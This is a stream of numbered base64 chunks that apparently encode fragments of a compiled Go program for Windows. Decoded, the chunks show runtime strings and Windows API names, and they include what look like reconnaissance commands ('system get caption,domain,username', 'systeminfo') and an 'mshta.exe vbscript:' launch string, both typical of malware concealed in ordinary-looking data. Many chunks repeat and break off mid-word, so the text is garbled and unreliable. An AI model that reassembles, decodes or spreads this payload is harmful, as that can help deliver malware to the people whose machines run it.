G1hbnkgcmVsZWFzZXMgb2YgcHJvY2VzcyBoYW5kbGVsaW1pdGVyRXZlbnQuc3RvcDogaW52YWxpZCBsaW1pdGVyIGV2ZW50IHR5cGUgZm91bmRwb3RlbnRpYWxseSBvdmVybGFwcGluZyBpbi11c2UgYWxsb2NhdGlvbnMgZGV0ZWN0ZWRydW50aW1lOiBuZXRwb2xsOg==115:T554,bm8gZGVmZXJyZXR1cm5iYWQgcmVzdGFydCBQQy10aHJlYWQgbGltaXRzdG9wbSBzcGlubmluZyBubWlkbGVsb2NrZWQ9IG5lZWRzcGlubmluZz0gc2NoZWR0aWNrcz1bIHJhbmRpbml0IHR3aWNlc3RvcmU2NCBmYWlsZWRzZW1hUm9vdCBxdWV1ZWJhZCBhbGxvY0NvdW50YmFkIHNwYW4gc3RhdGVzdGFjayBvdmVyZmxvdyB1bnR5cGVkIGFyZ3MgIG91dCBvZiByYW5nZSBubyBtb2R1bGUgZGF0YSBpbiBnb3JvdXRpbmUgcnVudGltZTogc2VxMT1ydW50aW1lOiBnb2lkPWZpbGUgdG9vIGxhcmdlaXMgYSBkaXJlY3RvcnlsZXZlbCAyIGhhbHRlZGxldmVsIDMgaGFsdGVkdG9vIG1hbnkgbGlua3NubyBzdWNoIGRldmljZXByb3RvY29sIGVycm9ydGV4dCBmaWxlIGJ1c3l0b28gbWFueSB1c2Vyc0NyeXB0R2VuUmFuZG9tQ2VydENsb3NlU3RvcmVDcmVhdGVQcm9jZXNzV0ZpbmRGaXJzdEZpbGVXRm9ybWF0TWVzc2FnZVdHZXRDb25zb2xlTW9kZUdldFByb2NBZGRyZXNzUHJvY2VzczMyTmV4dFdTZXRGaWxlUG9pbnRlck5ldFVzZXJHZXRJbmZvR2V0VXNlck5hbWVFeFdUcmFuc2xhdGVOYW1lV2dldHByb3RvYnluYW1lIHByb2NlZHVyZSBpbiB3aW5hcGkgZXJyb3IgI3VucmVhY2hhYmxlOiAgUmVnU2V0VmFsdWVFeFdjcnlwdG8vZmlwczE0MG1pbWUvbXVsdGlwYXJ0eDUwOXNoYTI1NnNraWRHZXRQcm9jZXNzVGltZXNEdXBsaWNhdGVIYW5kbGUsTTMuMi4wLE0xMS4xLjA0NzY4MzcxNTgyMDMxMjVpbnZhbGlkIGFyZ1NpemU8aW52YWxpZCBWYWx1ZT5JbXBlcnNvbmF0ZVNlbGZPcGVuVGhyZWFkVG9rZW5jb21wdXRlTWF4UHJvY3N1cGRhdGVNYXhQcm9jc0dhbGxvY21SSW50ZXJuYWxHQyAoZnJhY3Rpb25hbCl3cml0ZSBoZWFwIGR1bXBhc3luY3ByZWVtcHRvZmZjaGVja2ZpbmFsaXplcnNmb3JjZSBnYyAoaWRsZSlzeW5jLk11dGV4LkxvY2tydW50aW1lLkdvc2NoZWRtYWxsb2MgZGVhZGxvY2tydW50aW1lIGVycm9yOiBzY2FuIG1pc3NlZCBhIGdtaXNhbGlnbmVkIG1hc2tydW50aW1lOiBtaW4gPSBydW50aW0=116:T554,bm8gZGVmZXJyZXR1cm5iYWQgcmVzdGFydCBQQy10aHJlYWQgbGltaXRzdG9wbSBzcGlubmluZyBubWlkbGVsb2NrZWQ9IG5lZWRzcGlubmluZz0gc2NoZWR0aWNrcz1bIHJhbmRpbml0IHR3aWNlc3RvcmU2NCBmYWlsZWRzZW1hUm9vdCBxdWV1ZWJhZCBhbGxvY0NvdW50YmFkIHNwYW4gc3RhdGVzdGFjayBvdmVyZmxvdyB1bnR5cGVkIGFyZ3MgIG91dCBvZiByYW5nZSBubyBtb2R1bGUgZGF0YSBpbiBnb3JvdXRpbmUgcnVudGltZTogc2VxMT1ydW50aW1lOiBnb2lkPWZpbGUgdG9vIGxhcmdlaXMgYSBkaXJlY3RvcnlsZXZlbCAyIGhhbHRlZGxldmVsIDMgaGFsdGVkdG9vIG1hbnkgbGlua3NubyBzdWNoIGRldmljZXByb3RvY29sIGVycm9ydGV4dCBmaWxlIGJ1c3l0b28gbWFueSB1c2Vyc0NyeXB0R2VuUmFuZG9tQ2VydENsb3NlU3RvcmVDcmVhdGVQcm9jZXNzV0ZpbmRGaXJzdEZpbGVXRm9ybWF0TWVzc2FnZVdHZXRDb25zb2xlTW9kZUdldFByb2NBZGRyZXNzUHJvY2VzczMyTmV4dFdTZXRGaWxlUG9pbnRlck5ldFVzZXJHZXRJbmZvR2V0VXNlck5hbWVFeFdUcmFuc2xhdGVOYW1lV2dldHByb3RvYnluYW1lIHByb2NlZHVyZSBpbiB3aW5hcGkgZXJyb3IgI3VucmVhY2hhYmxlOiAgUmVnU2V0VmFsdWVFeFdjcnlwdG8vZmlwczE0MG1pbWUvbXVsdGlwYXJ0eDUwOXNoYTI1NnNraWRHZXRQcm9jZXNzVGltZXNEdXBsaWNhdGVIYW5kbGUsTTMuMi4wLE0xMS4xLjA0NzY4MzcxNTgyMDMxMjVpbnZhbGlkIGFyZ1NpemU8aW52YWxpZCBWYWx1ZT5JbXBlcnNvbmF0ZVNlbGZPcGVuVGhyZWFkVG9rZW5jb21wdXRlTWF4UHJvY3N1cGRhdGVNYXhQcm9jc0dhbGxvY21SSW50ZXJuYWxHQyAoZnJhY3Rpb25hbCl3cml0ZSBoZWFwIGR1bXBhc3luY3ByZWVtcHRvZmZjaGVja2ZpbmFsaXplcnNmb3JjZSBnYyAoaWRsZSlzeW5jLk11dGV4LkxvY2tydW50aW1lLkdvc2NoZWRtYWxsb2MgZGVhZGxvY2tydW50aW1lIGVycm9yOiBzY2FuIG1pc3NlZCBhIGdtaXNhbGlnbmVkIG1hc2tydW50aW1lOiBtaW4gPSBydW50aW1l117:T410,cGF0aD0gOiB1bmtub3duIHBjICBjYWxsZWQgZnJvbSBydW50aW1lOiBwaWQ9bGV2ZWwgMyByZXNldHNybW91bnQgZXJyb3J0aW1lciBleHBpcmVkZXhjaGFuZ2UgZnVsbFJlZ0VudW1LZXlFeFdSZWdPcGVuS2V5RXhXQ2VydE9wZW5TdG9yZUZpbmROZXh0RmlsZVdNYXBWaWV3T2ZGaWxlVmlydHVhbFVubG9ja1dyaXRlQ29uc29sZVdGcmVlQWRkckluZm9XZ2V0aG9zdGJ5bmFtZWdldHNlcnZieW5hbWVSZWdEZWxldGVLZXlXUmVnRW51bVZhbHVlV2NyeXB0by9zdWJ0bGVnb2NhY2hldmVyaWZ5aW5zdGFsbGdvcm9vdGh0bWwvdGVtcGxhdGV0bHNtYXhyc2FzaXplKHdpbmRvdy5jbG9zZSlhc3luY3RpbWVyY2hhbnVuZXhwZWN0ZWQgRU9GMTkwNzM0ODYzMjgxMjU5NTM2NzQzMTY0MDYyNXVuc2FmZS5Qb2ludGVyIG9uIHplcm8gVmFsdWV1bmtub3duIG1ldGhvZE9wZW5TQ01hbmFnZXJXTW9kdWxlMzJGaXJzdFd1c2VyQXJlbmFTdGF0ZUdDIChkZWRpY2F0ZWQpcmVhZCBtZW0gc3RhdHN1cGRhdGVtYXhwcm9jc2djc3RvcHRoZXdvcmxkcHJvZnN0YWNrZGVwdGh0cmFjZWFsbG9jZnJlZUdDIGFzc2lzdCB3YWl0ZmluYWxpemVyIHdhaXRzeW5jLkNvbmQuV2FpdHMuYWxsb2NDb3VudD0gVmFsdWUgb2YgdHlwZSBuaWwgZWxlbSB0eXBlISB0byBmaW5hbGl6ZXIgc2NhbjogY2xhc3MgTCAgZmluYWxpemVycyArIEdDIHdvcmtlciBpbml0cnVudGltZTogZnVsbD1ydW50aW1lOiB3YW50PU1COyBhbGxvY2F0ZWQgYWxsc3BhbnMgYXJyYXlzY2F2ZW5nZSBpbmRleFJ0bEdldFZlcnNpb24=118:T554,UG9zdFF1ZXVlZENvbXBsZXRpb25TdGF0dXMgZmFpbGVkZmF0YWw6IHN5c3RlbXN0YWNrIGNhbGxlZCBmcm9tIHVuZXhwZWN0ZWQgZ29yb3V0aW5lZ29kZWJ1ZzogVmFsdWUgb2YgbmFtZSBub3QgbGlzdGVkIGluIGdvZGVidWdzLkFsbDogZmFpbGVkIHRvIGNvcnJlY3RseSBmbHVzaCBhbGwgUC1vd25lZCBjbGVhbnVwIGJsb2Nrc3J1bnRpbWUuU2V0RmluYWxpemVyOiBwb2ludGVyIG5vdCBpbiBhbGxvY2F0ZWQgYmxvY2tydW50aW1lOiB1c2Ugb2YgRml4QWxsb2NfQWxsb2MgYmVmb3JlIEZpeEFsbG9jX0luaXRzcGFuIHNldCBibG9jayB3aXRoIHVucG9wcGVkIGVsZW1lbnRzIGZvdW5kIGluIHJlc2V0cnVudGltZTogR2V0UXVldWVkQ29tcGxldGlvblN0YXR1c0V4IGZhaWxlZCAoZXJybm89IHJ1bnRpbWU6IE50Q3JlYXRlV2FpdENvbXBsZXRpb25QYWNrZXQgZmFpbGVkOyBlcnJubz1jYXNmcm9tX0dzY2Fuc3RhdHVzOiBncC0+c3RhdHVzIGlzIG5vdCBpbiBzY2FuIHN0YXRlbm9uLWNvbmN1cnJlbnQgc3dlZXAgZmFpbGVkIHRvIGRyYWluIGFsbCBzd2VlcCBxdWV1ZXNydW50aW1lOiBOdENhbmNlbFdhaXRDb21wbGV0aW9uUGFja2V0IGZhaWxlZDsgZXJybm89IGV4aXRlZCBhIGdvcm91dGluZSBpbnRlcm5hbGx5IGxvY2tlZCB0byB0aGUgT1MgdGhyZWFkY29tcGlsZUNhbGxiYWNrOiBhcmd1bWVudCBzaXplIGlzIGxhcmdlciB0aGFuIHVpbnRwdHJzbWFsbCBtYXAgd2l0aCBubyBlbXB0eSBzbG90IChjb25jdXJyZW50IG1hcCB3cml0ZXM/KXJ1bnRpbWUubSBtZW1vcnkgYWxpZ25tZW50IHRvbyBzbWFsbCBmb3Igc3BpbmJpdCBtdXRleG1pbiBzaXplIG9mIG1hbGxvYyBoZWFkZXIgaXMgbm90IGEgc2l6ZSBjbGFzcyBib3VuZGFyeWdjQ29udHJvbGxlclN0YXRlLmZpbmRSdW5uYWJsZTogYmxhY2tlbmluZyBub3QgZW5hYmxlZG5vIGdvcm91dGluZXMgKG1haW4gY2FsbGVkIHJ1bnRpbWUuR29leGl0KSAtIGRlYWRsb2NrIXRyYWNlOiBub24tZW1wdHkgZnVsbCB0cmFjZSBidWZmZXIgZm9yIGRvbg==119:T554,UG9zdFF1ZXVlZENvbXBsZXRpb25TdGF0dXMgZmFpbGVkZmF0YWw6IHN5c3RlbXN0YWNrIGNhbGxlZCBmcm9tIHVuZXhwZWN0ZWQgZ29yb3V0aW5lZ29kZWJ1ZzogVmFsdWUgb2YgbmFtZSBub3QgbGlzdGVkIGluIGdvZGVidWdzLkFsbDogZmFpbGVkIHRvIGNvcnJlY3RseSBmbHVzaCBhbGwgUC1vd25lZCBjbGVhbnVwIGJsb2Nrc3J1bnRpbWUuU2V0RmluYWxpemVyOiBwb2ludGVyIG5vdCBpbiBhbGxvY2F0ZWQgYmxvY2tydW50aW1lOiB1c2Ugb2YgRml4QWxsb2NfQWxsb2MgYmVmb3JlIEZpeEFsbG9jX0luaXRzcGFuIHNldCBibG9jayB3aXRoIHVucG9wcGVkIGVsZW1lbnRzIGZvdW5kIGluIHJlc2V0cnVudGltZTogR2V0UXVldWVkQ29tcGxldGlvblN0YXR1c0V4IGZhaWxlZCAoZXJybm89IHJ1bnRpbWU6IE50Q3JlYXRlV2FpdENvbXBsZXRpb25QYWNrZXQgZmFpbGVkOyBlcnJubz1jYXNmcm9tX0dzY2Fuc3RhdHVzOiBncC0+c3RhdHVzIGlzIG5vdCBpbiBzY2FuIHN0YXRlbm9uLWNvbmN1cnJlbnQgc3dlZXAgZmFpbGVkIHRvIGRyYWluIGFsbCBzd2VlcCBxdWV1ZXNydW50aW1lOiBOdENhbmNlbFdhaXRDb21wbGV0aW9uUGFja2V0IGZhaWxlZDsgZXJybm89IGV4aXRlZCBhIGdvcm91dGluZSBpbnRlcm5hbGx5IGxvY2tlZCB0byB0aGUgT1MgdGhyZWFkY29tcGlsZUNhbGxiYWNrOiBhcmd1bWVudCBzaXplIGlzIGxhcmdlciB0aGFuIHVpbnRwdHJzbWFsbCBtYXAgd2l0aCBubyBlbXB0eSBzbG90IChjb25jdXJyZW50IG1hcCB3cml0ZXM/KXJ1bnRpbWUubSBtZW1vcnkgYWxpZ25tZW50IHRvbyBzbWFsbCBmb3Igc3BpbmJpdCBtdXRleG1pbiBzaXplIG9mIG1hbGxvYyBoZWFkZXIgaXMgbm90IGEgc2l6ZSBjbGFzcyBib3VuZGFyeWdjQ29udHJvbGxlclN0YXRlLmZpbmRSdW5uYWJsZTogYmxhY2tlbmluZyBub3QgZW5hYmxlZG5vIGdvcm91dGluZXMgKG1haW4gY2FsbGVkIHJ1bnRpbWUuR29leGl0KSAtIGRlYWRsb2NrIXRyYWNlOiBub24tZW1wdHkgZnVsbCB0cmFjZSBidWZmZXIgZm9yIGRvbmU=11a:T54c,cmN4ICAgICByZHggICAgIHJkaSAgICAgcnNpICAgICByYnAgICAgIHJzcCAgICAgcjggICAgICByOSAgICAgIHIxMCAgICAgcjExICAgICByMTIgICAgIHIxMyAgICAgcjE0ICAgICByMTUgICAgIHJpcCAgICAgcmZsYWdzICBjcyAgICAgIGZzICAgICAgZ3MgICAgICAgaXMgbm90ICBwb2ludGVyQkFEIFJBTksgc3RhdHVzIHVua25vd24odHJpZ2dlcj0gbnBhZ2VzPSBuYWxsb2M9IG5mcmVlZD1bc2lnbmFsICBuZXd2YWw9IG1jb3VudD0gYnl0ZXMsICBzdGFjaz1bIG1pbkxDPSAgbWF4cGM9ICBwYWNrZWQ9IC0+IHB0cj1zdGFjaz1bIG1pbnV0ZXMgc3RhdHVzPSBldHlwZXMgbm8gYW5vZGVDYW5jZWxJb1JlYWRGaWxlQWNjZXB0RXhXU0FJb2N0bHNodXRkb3dub3ZlcmZsb3dhdng1MTJid2F2eDUxMnZsZ28vdHlwZXNuZXQvaHR0cGdvL2J1aWxkbmV0ZWRuczB0bHNtbGtlbW1zaHRhLmV4ZXZic2NyaXB0OmZvcmsvZXhlYyNleGVjd2FpdFdlZG5lc2RheVNlcHRlbWJlcjI0NDE0MDYyNWNvbXBsZXg2NGludGVyZmFjZWludmFsaWQgbnJlZmxlY3Q6IGZ1bmNhcmdzKGJhZCBpbmRpckludGVyZmFjZXJ3eHJ3eHJ3eG50ZGxsLmRsbHBzYXBpLmRsbHRpbWVyU2VuZHBvbGxDYWNoZXByb2ZCbG9ja3N0YWNrcG9vbGhjaGFuTGVhZndidWZTcGFuc0dDIChpZGxlKW1TcGFuRGVhZGluaXR0cmFjZXNjYXZ0cmFjZXBhbmljd2FpdGNoYW4gc2VuZHByZWVtcHRlZGNvcm91dGluZWNvcHlzdGFja2ZpbmFsaXplciBtcyBjcHUsICAoZm9yY2VkKSBzcGFucS5uPSB3YnVmMS5uPSB3YnVmMi5uPSBzLmxpbWl0PSBzLnN0YXRlPSBCIHdvcmsgKCBCIGV4cC4pICBtYXJrZWQgICB1bm1hcmtlZCBpbiB1c2UpLCBzaXplID0gYmFkIHBydW5lLCB0YWlsID0gcmVjb3ZlcjogIG5vdCBpbiBbY3R4dCAhPSAwLCBvbGR2YWw9LCBuZXd2YWw9IHRocmVhZHM9OiBzdGF0dXM9IGJsb2NrZWQ9IGxvY2tlZGc9YXRvbWljb3I4IHJ1bnRpbWU9IG0tPmN1cmc9KHVua25vd24pdG90YWwgPCAwdHJhY2ViYWNrKGR1cmFibGUpfSBz11b:T550,cmN4ICAgICByZHggICAgIHJkaSAgICAgcnNpICAgICByYnAgICAgIHJzcCAgICAgcjggICAgICByOSAgICAgIHIxMCAgICAgcjExICAgICByMTIgICAgIHIxMyAgICAgcjE0ICAgICByMTUgICAgIHJpcCAgICAgcmZsYWdzICBjcyAgICAgIGZzICAgICAgZ3MgICAgICAgaXMgbm90ICBwb2ludGVyQkFEIFJBTksgc3RhdHVzIHVua25vd24odHJpZ2dlcj0gbnBhZ2VzPSBuYWxsb2M9IG5mcmVlZD1bc2lnbmFsICBuZXd2YWw9IG1jb3VudD0gYnl0ZXMsICBzdGFjaz1bIG1pbkxDPSAgbWF4cGM9ICBwYWNrZWQ9IC0+IHB0cj1zdGFjaz1bIG1pbnV0ZXMgc3RhdHVzPSBldHlwZXMgbm8gYW5vZGVDYW5jZWxJb1JlYWRGaWxlQWNjZXB0RXhXU0FJb2N0bHNodXRkb3dub3ZlcmZsb3dhdng1MTJid2F2eDUxMnZsZ28vdHlwZXNuZXQvaHR0cGdvL2J1aWxkbmV0ZWRuczB0bHNtbGtlbW1zaHRhLmV4ZXZic2NyaXB0OmZvcmsvZXhlYyNleGVjd2FpdFdlZG5lc2RheVNlcHRlbWJlcjI0NDE0MDYyNWNvbXBsZXg2NGludGVyZmFjZWludmFsaWQgbnJlZmxlY3Q6IGZ1bmNhcmdzKGJhZCBpbmRpckludGVyZmFjZXJ3eHJ3eHJ3eG50ZGxsLmRsbHBzYXBpLmRsbHRpbWVyU2VuZHBvbGxDYWNoZXByb2ZCbG9ja3N0YWNrcG9vbGhjaGFuTGVhZndidWZTcGFuc0dDIChpZGxlKW1TcGFuRGVhZGluaXR0cmFjZXNjYXZ0cmFjZXBhbmljd2FpdGNoYW4gc2VuZHByZWVtcHRlZGNvcm91dGluZWNvcHlzdGFja2ZpbmFsaXplciBtcyBjcHUsICAoZm9yY2VkKSBzcGFucS5uPSB3YnVmMS5uPSB3YnVmMi5uPSBzLmxpbWl0PSBzLnN0YXRlPSBCIHdvcmsgKCBCIGV4cC4pICBtYXJrZWQgICB1bm1hcmtlZCBpbiB1c2UpLCBzaXplID0gYmFkIHBydW5lLCB0YWlsID0gcmVjb3ZlcjogIG5vdCBpbiBbY3R4dCAhPSAwLCBvbGR2YWw9LCBuZXd2YWw9IHRocmVhZHM9OiBzdGF0dXM9IGJsb2NrZWQ9IGxvY2tlZGc9YXRvbWljb3I4IHJ1bnRpbWU9IG0tPmN1cmc9KHVua25vd24pdG90YWwgPCAwdHJhY2ViYWNrKGR1cmFibGUpfSBzdA==11c:T554,cmQgVGltZVBha2lzdGFuIFN0YW5kYXJkIFRpbWVTYWtoYWxpbiBTdGFuZGFyZCBUaW1lR2VvcmdpYW4gU3RhbmRhcmQgVGltZUNhdWNhc3VzIFN0YW5kYXJkIFRpbWVUYXNtYW5pYSBTdGFuZGFyZCBUaW1lRGF0ZWxpbmUgU3RhbmRhcmQgVGltZUhhd2FpaWFuIFN0YW5kYXJkIFRpbWU0NjU2NjEyODczMDc3MzkyNTc4MTI1dW5leHBlY3RlZCBtZXRob2Qgc3RlcENyZWF0ZUlvQ29tcGxldGlvblBvcnRSdGxMb29rdXBGdW5jdGlvbkVudHJ5TnRRdWVyeUluZm9ybWF0aW9uRmlsZUNyZWF0ZUVudmlyb25tZW50QmxvY2tXU0FHZXRPdmVybGFwcGVkUmVzdWx0aW50ZWdlciBkaXZpZGUgYnkgemVyb0NvdW50UGFnZXNJblVzZSAodGVzdClSZWFkTWV0cmljc1Nsb3cgKHRlc3QpdHJhY2UgcmVhZGVyIChibG9ja2VkKXRyYWNlIGdvcm91dGluZSBzdGF0dXNHQyB3ZWFrIHRvIHN0cm9uZyB3YWl0Y2hhbiByZWNlaXZlIChkdXJhYmxlKXNlbmQgb24gY2xvc2VkIGNoYW5uZWxjYWxsIG5vdCBhdCBzYWZlIHBvaW50Z2V0ZW52IGJlZm9yZSBlbnYgaW5pdGludGVyZmFjZSBjb252ZXJzaW9uOiBmcmVlSW5kZXggaXMgbm90IHZhbGlkcy5mcmVlaW5kZXggPiBzLm5lbGVtc2JhZCBzd2VlcGdlbiBpbiByZWZpbGxzcGFuIGhhcyBubyBmcmVlIHNwYWNlL2djL3NjYW4vZ2xvYmFsczpieXRlcy9nYy9oZWFwL2ZyZWVzOm9iamVjdHNydW50aW1lOiB3b3JrLm53YWl0ID0gcnVudGltZTpzY2Fuc3RhY2s6IGdwPXNjYW5zdGFjayAtIGJhZCBzdGF0dXNoZWFkVGFpbEluZGV4IG92ZXJmbG93cnVudGltZS5tYWluIG5vdCBvbiBtMHNldF9jcm9zc2NhbGwyIG1pc3NpbmdiYWQgZy0+c3RhdHVzIGluIHJlYWR5d2lyZXA6IGludmFsaWQgcCBzdGF0ZWFzc2VtYmx5IGNoZWNrcyBmYWlsZWRzdGFjayBub3QgYSBwb3dlciBvZiAybWlucGMgb3IgbWF4cGMgaW52YWxpZGNvbXBpbGVDYWxsYmFjazogdHlwZSBzeXNjYWxsOiBuID4gbGVuKGFyZ3Mpbm9uLUdvIGZ1bmN0aW9uIGF0IHBjPWFyZ3VtZW50IGxpc3QgdG9vIGxvbmdhZGRy11d:T558,cmQgVGltZVBha2lzdGFuIFN0YW5kYXJkIFRpbWVTYWtoYWxpbiBTdGFuZGFyZCBUaW1lR2VvcmdpYW4gU3RhbmRhcmQgVGltZUNhdWNhc3VzIFN0YW5kYXJkIFRpbWVUYXNtYW5pYSBTdGFuZGFyZCBUaW1lRGF0ZWxpbmUgU3RhbmRhcmQgVGltZUhhd2FpaWFuIFN0YW5kYXJkIFRpbWU0NjU2NjEyODczMDc3MzkyNTc4MTI1dW5leHBlY3RlZCBtZXRob2Qgc3RlcENyZWF0ZUlvQ29tcGxldGlvblBvcnRSdGxMb29rdXBGdW5jdGlvbkVudHJ5TnRRdWVyeUluZm9ybWF0aW9uRmlsZUNyZWF0ZUVudmlyb25tZW50QmxvY2tXU0FHZXRPdmVybGFwcGVkUmVzdWx0aW50ZWdlciBkaXZpZGUgYnkgemVyb0NvdW50UGFnZXNJblVzZSAodGVzdClSZWFkTWV0cmljc1Nsb3cgKHRlc3QpdHJhY2UgcmVhZGVyIChibG9ja2VkKXRyYWNlIGdvcm91dGluZSBzdGF0dXNHQyB3ZWFrIHRvIHN0cm9uZyB3YWl0Y2hhbiByZWNlaXZlIChkdXJhYmxlKXNlbmQgb24gY2xvc2VkIGNoYW5uZWxjYWxsIG5vdCBhdCBzYWZlIHBvaW50Z2V0ZW52IGJlZm9yZSBlbnYgaW5pdGludGVyZmFjZSBjb252ZXJzaW9uOiBmcmVlSW5kZXggaXMgbm90IHZhbGlkcy5mcmVlaW5kZXggPiBzLm5lbGVtc2JhZCBzd2VlcGdlbiBpbiByZWZpbGxzcGFuIGhhcyBubyBmcmVlIHNwYWNlL2djL3NjYW4vZ2xvYmFsczpieXRlcy9nYy9oZWFwL2ZyZWVzOm9iamVjdHNydW50aW1lOiB3b3JrLm53YWl0ID0gcnVudGltZTpzY2Fuc3RhY2s6IGdwPXNjYW5zdGFjayAtIGJhZCBzdGF0dXNoZWFkVGFpbEluZGV4IG92ZXJmbG93cnVudGltZS5tYWluIG5vdCBvbiBtMHNldF9jcm9zc2NhbGwyIG1pc3NpbmdiYWQgZy0+c3RhdHVzIGluIHJlYWR5d2lyZXA6IGludmFsaWQgcCBzdGF0ZWFzc2VtYmx5IGNoZWNrcyBmYWlsZWRzdGFjayBub3QgYSBwb3dlciBvZiAybWlucGMgb3IgbWF4cGMgaW52YWxpZGNvbXBpbGVDYWxsYmFjazogdHlwZSBzeXNjYWxsOiBuID4gbGVuKGFyZ3Mpbm9uLUdvIGZ1bmN0aW9uIGF0IHBjPWFyZ3VtZW50IGxpc3QgdG9vIGxvbmdhZGRyZQ==11e:T554,cnN5c3RlbSBnZXQgY2FwdGlvbixkb21haW4sdXNlcm5hbWU7c3lzdGVtaW5mb0dPREVCVUc9ZXhlY3dhaXQ9MiBkZXRlY3RlZCBhIGxlYWtlZCBleGVjLkNtZCBjcmVhdGVkIGJ5OnJlZmxlY3Q6IHJlZmxlY3QuVmFsdWUuRWxlbSBvbiBhbiBpbnZhbGlkIG5vdGluaGVhcCBwb2ludGVydHJpZWQgdG8gdHJhY2UgZ29yb3V0aW5lIHdpdGggaW52YWxpZCBvciB1bnN1cHBvcnRlZCBzdGF0dXNyZWZsZWN0OiBjYWxsIG9mIHJlZmxlY3QuVmFsdWUuTGVuIG9uIHB0ciB0byBub24tYXJyYXkgVmFsdWVtYW51YWwgc3BhbiBhbGxvY2F0aW9uIGNhbGxlZCB3aXRoIG5vbi1tYW51YWxseS1tYW5hZ2VkIHR5cGVhZGRyIHJhbmdlIGJhc2UgYW5kIGxpbWl0IGFyZSBub3QgaW4gdGhlIHNhbWUgbWVtb3J5IHNlZ21lbnRydW50aW1lOiBuZXRwb2xsOiBQb3N0UXVldWVkQ29tcGxldGlvblN0YXR1cyBmYWlsZWQgKGVycm5vPSBydW50aW1lOiBtYWxmb3JtZWQgcHJvZkJ1ZiBidWZmZXIgLSB0YWcgYW5kIGRhdGEgb3V0IG9mIHN5bmNleGVjOiBDbWQgc3RhcnRlZCBhIFByb2Nlc3MgYnV0IGxlYWtlZCB3aXRob3V0IGEgY2FsbCB0byBXYWl0ICBpcyBpbiBhIHRpbnkgYmxvY2sgd2l0aCBvdGhlciAocG9zc2libHkgbG9uZy1saXZlZCkgdmFsdWVzcmVmbGVjdDogcmVmbGVjdC5WYWx1ZS5Qb2ludGVyIG9uIGFuIGludmFsaWQgbm90aW5oZWFwIHBvaW50ZXJmb3VuZCBiYWQgcG9pbnRlciBpbiBHbyBoZWFwIChpbmNvcnJlY3QgdXNlIG9mIHVuc2FmZSBvciBjZ28/KWxpbWl0ZXJFdmVudC5zdG9wOiBmb3VuZCB3cm9uZyBldmVudCBpbiBwJ3MgbGltaXRlciBldmVudCBzbG90cnVudGltZTogaW50ZXJuYWwgZXJyb3I6IG1pc3VzZSBvZiBsb2NrT1NUaHJlYWQvdW5sb2NrT1NUaHJlYWRydW50aW1lLkFkZENsZWFudXA6IHB0ciBpcyBlcXVhbCB0byBhcmcsIGNsZWFudXAgd2lsbCBuZXZlciBydW5pbnRlcm5hbC9zeW5jLkhhc2hUcmllTWFwOiByYW4gb3V0IG9mIGhhc2ggYml0cyB3aGlsZSBpdGVyYXRpbmdpbnRlcg==11f:T554,cnN5c3RlbSBnZXQgY2FwdGlvbixkb21haW4sdXNlcm5hbWU7c3lzdGVtaW5mb0dPREVCVUc9ZXhlY3dhaXQ9MiBkZXRlY3RlZCBhIGxlYWtlZCBleGVjLkNtZCBjcmVhdGVkIGJ5OnJlZmxlY3Q6IHJlZmxlY3QuVmFsdWUuRWxlbSBvbiBhbiBpbnZhbGlkIG5vdGluaGVhcCBwb2ludGVydHJpZWQgdG8gdHJhY2UgZ29yb3V0aW5lIHdpdGggaW52YWxpZCBvciB1bnN1cHBvcnRlZCBzdGF0dXNyZWZsZWN0OiBjYWxsIG9mIHJlZmxlY3QuVmFsdWUuTGVuIG9uIHB0ciB0byBub24tYXJyYXkgVmFsdWVtYW51YWwgc3BhbiBhbGxvY2F0aW9uIGNhbGxlZCB3aXRoIG5vbi1tYW51YWxseS1tYW5hZ2VkIHR5cGVhZGRyIHJhbmdlIGJhc2UgYW5kIGxpbWl0IGFyZSBub3QgaW4gdGhlIHNhbWUgbWVtb3J5IHNlZ21lbnRydW50aW1lOiBuZXRwb2xsOiBQb3N0UXVldWVkQ29tcGxldGlvblN0YXR1cyBmYWlsZWQgKGVycm5vPSBydW50aW1lOiBtYWxmb3JtZWQgcHJvZkJ1ZiBidWZmZXIgLSB0YWcgYW5kIGRhdGEgb3V0IG9mIHN5bmNleGVjOiBDbWQgc3RhcnRlZCBhIFByb2Nlc3MgYnV0IGxlYWtlZCB3aXRob3V0IGEgY2FsbCB0byBXYWl0ICBpcyBpbiBhIHRpbnkgYmxvY2sgd2l0aCBvdGhlciAocG9zc2libHkgbG9uZy1saXZlZCkgdmFsdWVzcmVmbGVjdDogcmVmbGVjdC5WYWx1ZS5Qb2ludGVyIG9uIGFuIGludmFsaWQgbm90aW5oZWFwIHBvaW50ZXJmb3VuZCBiYWQgcG9pbnRlciBpbiBHbyBoZWFwIChpbmNvcnJlY3QgdXNlIG9mIHVuc2FmZSBvciBjZ28/KWxpbWl0ZXJFdmVudC5zdG9wOiBmb3VuZCB3cm9uZyBldmVudCBpbiBwJ3MgbGltaXRlciBldmVudCBzbG90cnVudGltZTogaW50ZXJuYWwgZXJyb3I6IG1pc3VzZSBvZiBsb2NrT1NUaHJlYWQvdW5sb2NrT1NUaHJlYWRydW50aW1lLkFkZENsZWFudXA6IHB0ciBpcyBlcXVhbCB0byBhcmcsIGNsZWFudXAgd2lsbCBuZXZlciBydW5pbnRlcm5hbC9zeW5jLkhhc2hUcmllTWFwOiByYW4gb3V0IG9mIGhhc2ggYml0cyB3aGlsZSBpdGVyYXRpbmdpbnRlcm4=120:T554,cnVudGltZS5uZXdvc3Byb2NpbnRlcm5hbC9ydW50aW1lL3RocmVhZCBleGhhdXN0aW9ubG9ja2VkIG0wIHdva2UgdXBlbnRlcnN5c2NhbGxibG9jayBzcGlubmluZ3RocmVhZHM9Z3Aud2FpdGluZyAhPSBuaWx0YWdnZWRQb2ludGVyUGFja3Vua25vd24gY2FsbGVyIHBjc3RhY2s6IGZyYW1lPXtzcDp0cmFjZSBhcmVuYSBhbGxvY3J1bnRpbWU6IG5hbWVPZmYgcnVudGltZTogdHlwZU9mZiBydW50aW1lOiB0ZXh0T2ZmIHBlcm1pc3Npb24gZGVuaWVkd3JvbmcgbWVkaXVtIHR5cGVubyBkYXRhIGF2YWlsYWJsZWV4ZWMgZm9ybWF0IGVycm9yTG9va3VwQWNjb3VudFNpZFdEbnNSZWNvcmRMaXN0RnJlZUdldEN1cnJlbnRQcm9jZXNzR2V0U2hvcnRQYXRoTmFtZVdXU0FFbnVtUHJvdG9jb2xzV1JlZ0xvYWRNVUlTdHJpbmdXbXVsdGlwYXJ0bWF4cGFydHNyZWZsZWN0LlZhbHVlLlVpbnRHZXRFeGl0Q29kZVByb2Nlc3NDdWJhIFN0YW5kYXJkIFRpbWVPbXNrIFN0YW5kYXJkIFRpbWVBcmFiIFN0YW5kYXJkIFRpbWV